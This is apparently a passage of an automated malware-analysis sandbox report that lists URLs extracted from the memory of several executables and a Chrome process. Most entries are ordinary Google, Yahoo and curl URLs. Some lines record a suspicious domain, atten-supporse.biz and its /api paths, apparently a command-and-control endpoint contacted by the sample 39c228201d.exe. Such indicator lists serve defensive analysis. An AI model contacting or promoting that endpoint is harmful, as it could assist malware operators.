Source: chrome.exe, 00000013.00000002.3163814689.00007D0C0020C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3186766909.00007D0C00C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/oauth/multilogin
Source: chrome.exe, 00000013.00000002.3163814689.00007D0C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/signin/chrome/sync?ssp=1
Source: chrome.exe, 00000013.00000002.3163814689.00007D0C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com:443
Source: chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
Source: chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161
Source: chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162
Source: chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7246
Source: chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308
Source: chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7319
Source: chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320
Source: chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
Source: chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: chrome.exe, 00000013.00000003.2917915094.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917967015.00007D0C009D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3185655560.00007D0C00BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2917198146.00007D0C0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: 39c228201d.exe, 00000014.00000002.3276938516.000000000152F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/
Source: 39c228201d.exe, 00000011.00000003.2831379968.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2867578340.0000000000C88000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2867578340.0000000000C98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api
Source: 39c228201d.exe, 00000011.00000003.2831379968.0000000000C88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api##
Source: 39c228201d.exe, 00000011.00000003.2808722784.0000000000C1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/api0
Source: 39c228201d.exe, 00000011.00000003.2867578340.0000000000C98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apiK
Source: 39c228201d.exe, 00000011.00000003.2926800686.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2931047542.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2929647765.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2925334909.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2932348064.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2927917560.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2932666054.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2930310720.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2927608938.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2925662354.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2930694499.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2932929657.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2927217606.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2931511193.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2932087916.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2928330651.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2924033505.0000000000C7A000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2926295994.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2925069662.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2928892306.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/apiiforni
Source: 39c228201d.exe, 00000011.00000003.2894689531.000000000546B000.00000004.00000800.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2892896107.0000000005467000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/m
Source: 39c228201d.exe, 00000011.00000003.2808750190.0000000000C02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz/~
Source: 39c228201d.exe, 00000014.00000002.3276938516.00000000014B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz:443/api
Source: 39c228201d.exe, 00000011.00000003.2867578340.0000000000C98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://atten-supporse.biz:443/api%appdata%
Source: file.exe, 00000000.00000002.2130184923.0000000000995000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2896837392.0000000005455000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000002.2130184923.0000000000995000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: chrome.exe, 00000013.00000002.3173491123.00007D0C00734000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3246099583.00007D0C00EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2925667216.00007D0C00EE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167486165.00007D0C004F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://calendar.google.com/calendar/u/0/r/eventedit?usp=chrome_actions
Source: chrome.exe, 00000013.00000002.3186101163.00007D0C00BEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2918464134.00007D0C00BEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2922124317.00007D0C00BEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.ico
Source: 39c228201d.exe, 00000011.00000003.2831765157.000000000549B000.00000004.00000800.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2831892590.0000000005499000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: chrome.exe, 00000013.00000002.3185700742.00007D0C00BE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.ico
Source: chrome.exe, 00000013.00000002.3185700742.00007D0C00BE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icofrom_play_api
Source: file.exe, 00000000.00000002.2130184923.0000000000995000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2831765157.000000000549B000.00000004.00000800.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2831892590.0000000005499000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: chrome.exe, 00000013.00000002.3181191405.00007D0C00AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search
Source: chrome.exe, 00000013.00000002.3181191405.00007D0C00AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=
Source: chrome.exe, 00000013.00000002.3181191405.00007D0C00AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=searchTerms
Source: chrome.exe, 00000013.00000002.3169172162.00007D0C00568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000013.00000003.2918431641.00007D0C00C8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: chrome.exe, 00000013.00000002.3170793230.00007D0C00694000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore206E5
Source: chrome.exe, 00000013.00000002.3188794880.00007D0C00D5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3180021641.00007D0C00A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3186766909.00007D0C00C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: chrome.exe, 00000013.00000002.3186766909.00007D0C00C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en0
Source: chrome.exe, 00000013.00000003.2927718061.00007D0C00CA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2926288171.00007D0C00338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3164642067.00007D0C00318000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2920093802.00007D0C00C9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2918613167.00007D0C00D30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3186958131.00007D0C00C9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2918656333.00007D0C00CA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3175667139.00007D0C00870000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2922036487.00007D0C00F9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2924753918.00007D0C00CA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2921963680.00007D0C00C8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2918431641.00007D0C00C8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: chrome.exe, 00000013.00000002.3086242396.000075700078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/
Source: chrome.exe, 00000013.00000002.3086401011.000075700080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2908821044.000075700039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2908569940.0000757000390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000013.00000002.3086242396.000075700078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/
Source: chrome.exe, 00000013.00000002.3086401011.000075700080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2908821044.000075700039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2908569940.0000757000390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 00000013.00000002.3086242396.000075700078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/KAnonymityServiceJoinRelayServerhttps://chromekanonym
Source: chrome.exe, 00000013.00000003.2909228130.0000757000684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3086242396.000075700078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000013.00000002.3086401011.000075700080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2908821044.000075700039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2908569940.0000757000390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: chrome.exe, 00000013.00000002.3163814689.00007D0C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/events
Source: chrome.exe, 00000013.00000002.3163814689.00007D0C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/record
Source: chrome.exe, 00000013.00000002.3163309841.00007D0C0018C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromewebstore.google.com/
Source: chrome.exe, 00000013.00000002.3186873758.00007D0C00C50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromium-i18n.appspot.com/ssl-aggregate-address/
Source: chrome.exe, 00000013.00000002.3163737742.00007D0C001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/
Source: chrome.exe, 00000013.00000002.3163737742.00007D0C001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/g1
Source: chrome.exe, 00000013.00000003.2907453271.00000EA4002E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2907425062.00000EA4002D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000013.00000002.3163737742.00007D0C001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2913726292.00007D0C00484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3169172162.00007D0C00568000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3180261812.00007D0C00A88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3171083113.00007D0C006A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3086512851.00007D0C0001C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3186766909.00007D0C00C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: chrome.exe, 00000013.00000002.3181191405.00007D0C00AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod
Source: chrome.exe, 00000013.00000002.3179831419.00007D0C009A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collection-images?rt=b
Source: chrome.exe, 00000013.00000002.3179831419.00007D0C009A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collections?rt=b
Source: chrome.exe, 00000013.00000002.3173491123.00007D0C00734000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b
Source: chrome.exe, 00000013.00000002.3163737742.00007D0C001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync
Source: chrome.exe, 00000013.00000002.3163737742.00007D0C001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync/event
Source: chrome.exe, 00000013.00000002.3186325135.00007D0C00C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3169631701.00007D0C00654000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117
Source: file.exe, 00000000.00000002.2130184923.0000000000995000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2896837392.0000000005455000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000002.2130184923.0000000000995000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: bb0adee266.exe, 00000010.00000002.2747794907.000000000113F000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: bb0adee266.exe, 00000010.00000002.2747794907.000000000113F000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: 67d914dff5.exe, 0000000D.00000003.2489607005.0000000007579000.00000004.00001000.00020000.00000000.sdmp, bb0adee266.exe, 00000010.00000003.2706867228.00000000078DE000.00000004.00001000.00020000.00000000.sdmp, bb0adee266.exe, 00000010.00000002.2747794907.000000000113F000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: chrome.exe, 00000013.00000002.3164642067.00007D0C00318000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.
Source: chrome.exe, 00000013.00000003.2913726292.00007D0C00484000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: chrome.exe, 00000013.00000002.3173793917.00007D0C00764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2914292785.00007D0C00620000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167555893.00007D0C0053B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/:
Source: chrome.exe, 00000013.00000002.3173793917.00007D0C00764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2914292785.00007D0C00620000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167555893.00007D0C0053B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/?usp=installed_webapp
Source: chrome.exe, 00000013.00000002.3173793917.00007D0C00764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2914292785.00007D0C00620000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167555893.00007D0C0053B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/J
Source: chrome.exe, 00000013.00000002.3173793917.00007D0C00764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2914292785.00007D0C00620000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167555893.00007D0C0053B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3164298825.00007D0C002C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_default
Source: chrome.exe, 00000013.00000002.3172339678.00007D0C00720000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167289607.00007D0C004B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3180148578.00007D0C00A4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000013.00000002.3172339678.00007D0C00720000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167289607.00007D0C004B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3186873758.00007D0C00C50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000013.00000002.3172339678.00007D0C00720000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167289607.00007D0C004B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3186873758.00007D0C00C50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actionsy
Source: chrome.exe, 00000013.00000002.3173793917.00007D0C00764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2914292785.00007D0C00620000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167555893.00007D0C0053B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/:
Source: chrome.exe, 00000013.00000002.3173793917.00007D0C00764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2914292785.00007D0C00620000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167555893.00007D0C0053B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/?usp=installed_webapp
Source: chrome.exe, 00000013.00000002.3173793917.00007D0C00764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2914292785.00007D0C00620000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167555893.00007D0C0053B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/J
Source: chrome.exe, 00000013.00000002.3173793917.00007D0C00764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2914292785.00007D0C00620000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167555893.00007D0C0053B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3164298825.00007D0C002C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_default
Source: chrome.exe, 00000013.00000002.3173491123.00007D0C00734000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3167486165.00007D0C004F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.3247725518.00007D0C01080000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/u/0/create?usp=chrome_actions
